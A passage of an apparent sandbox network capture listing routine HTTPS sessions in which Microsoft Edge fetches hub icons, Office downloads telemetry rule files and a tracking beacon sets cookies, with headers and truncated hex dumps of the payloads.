I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49837	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:42 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:41 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 0d5171c6-001e-0023-5c06-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152141Z-178bfbc474btrnf9hC1NYCb80g00000007tg00000000dav2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 413a5bf0-401e-0035-1ab5-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152141Z-178bfbc474brk967hC1NYCfu6000000007dg00000000ff7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152142Z-178bfbc474bbcwv4hC1NYCypys00000007gg00000000an46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 09788b64-001e-0046-6eb7-3eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152142Z-178bfbc474bscnbchC1NYCe7eg00000007sg00000000f5wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49801	3.160.188.18	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	925	OUT	GET /b?rn=1732548100468&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0C72B46B3C106818117CA1293D846999&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:42 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 25 Nov 2024 15:21:42 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732548100468&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0C72B46B3C106818117CA1293D846999&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1FA6c47f49f94725b70ccec1732548102; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1FA6c47f49f94725b70ccec1732548102; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 0b0f38f2d36e8d8d64e111855bc5576e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MRS52-P5 X-Amz-Cf-Id: mMQw20UIpmNjRIWMEkL4Isz-JjL84IxDKQO52MwdASaOR_HQnK4acw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152142Z-178bfbc474bwh9gmhC1NYCy3rs00000007s00000000095am x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49840	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:42 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 59ab5595-d01e-0021-765c-3d0536000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152142Z-174c587ffdftjz9shC1TEBsh9800000005xg00000000nbm9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49842	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:41 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:42 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f2b4d97c-d01e-004c-5cf5-3eaf18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152142Z-178bfbc474bh5zbqhC1NYCkdug00000007ng000000004wxq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49844	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:42 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:42 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: ff3df75d-201e-001d-4fe3-3eb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152142Z-178bfbc474bv587zhC1NYCny5w00000007n0000000000fym Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49841	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:42 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:42 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 6e533cfd-401e-0006-17bf-3e9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152142Z-178bfbc474bbcwv4hC1NYCypys00000007e000000000kb2d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49843	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:42 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:42 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:42 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152142Z-174c587ffdfldtt2hC1TEBwv9c000000060g000000005wkv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:42 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: 